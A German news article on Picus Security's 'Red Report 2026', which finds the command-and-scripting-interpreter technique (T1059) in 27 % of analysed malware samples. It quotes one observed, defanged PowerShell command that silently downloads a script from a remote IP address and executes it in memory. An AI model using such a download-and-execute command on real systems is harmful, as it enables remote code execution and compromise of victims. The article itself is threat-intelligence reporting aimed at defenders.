Picus Security: Befehls- und Skriptinterpreter-Technik dominiert Cyberangriffe
Die Analyse von Picus Security zeigt, dass die T1059-Technik "Command and Scripting Interpreter" die am weitesten verbreitete bei Cyberangriffen ist. Sie wurde in 27 % der im Jahr 2026 analysierten Malware-Samples gefunden.
Das Cybersicherheitsunternehmen Picus Security hat die Technik "Command and Scripting Interpreter" (ATT&CK T1059) als die am häufigsten genutzte von Angreifern im Jahr 2026 identifiziert. Laut dem eigenen Bericht "{inline-style-removed}The Red Report 2026"{inline-style-added} war diese Technik in 27 % von fast 1,1 Millionen analysierten Malware-Samples vorhanden, was 294.498 Fällen entspricht.
Die T1059-Technik ermöglicht es Angreifern, bösartigen Code und Skripte auf den Systemen der Opfer auszuführen, indem sie native Befehlszeilenschnittstellen und Skript-Engines wie PowerShell, VBScript und Bash nutzen. Picus Security weist auf die häufige Anwendung in der "Initial Access"-Phase hin, wo sie das Herunterladen von Malware-Payloads oder die Ausführung von "Living-off-the-Land" (LOLBins)-Angriffen erleichtert, die sich als normale Systemoperationen tarnen.
Der Bericht beschreibt Fälle, in denen Bedrohungsakteure PowerShell-Befehle verwendet haben, um bösartige Skripte aus der Ferne direkt in den Arbeitsspeicher zu laden und auszuführen. Ein beobachteter Befehl, "powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('hxxp://185[.]73[.]125[.]8:80/a67'))"", zeigt, wie Angreifer Skripte unauffällig herunterladen und ausführen können, um Festplattenartefakte zu minimieren und die Entdeckung zu vermeiden.
Darüber hinaus hebt die Analyse die Anwendung der T1059-Technik während der "Execution"- und "Persistence"-Phasen hervor. Zum Beispiel haben Angreifer auf macOS AppleScript verwendet, um Malware einzuschleusen und deren Persistenz durch Umgehung von Systemsicherheitskontrollen zu gewährleisten. Diese weit verbreitete Technik unterstreicht die entscheidende Notwendigkeit für Organisationen, die Nutzung von Skriptinterpretern zu überwachen und einzuschränken sowie die Endpunktsicherungsmaßnahmen zu verstärken.